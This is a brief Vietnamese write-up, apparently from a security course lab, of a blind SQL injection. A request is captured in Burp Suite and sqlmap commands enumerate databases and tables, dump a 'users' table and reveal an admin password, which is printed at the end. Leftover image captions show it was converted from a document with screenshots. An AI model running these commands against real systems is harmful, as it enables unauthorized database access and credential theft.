Đầu tiên ta thấy chương trình không có filter các tin gửi vào

Ta sẽ bắt gói tin burpsuite và thực hiện tấn công sqlmap

Graphical user interface, text, application

Description automatically generated

Đầu tiên tìm db

py sqlmap.py -r .\blind.txt --dbs

Text

Description automatically generated

Tiếp tục tìm tables

python sqlmap.py -r .\blind.txt --tables

Text

Description automatically generated

Tiếp tục thực hiện dump

python sqlmap.py -r D:\Chibi\ISP\Web\sqlmap\blind.txt -T users –dump

Text

Description automatically generated

Cuối cùng ta có password admin

e2azO93i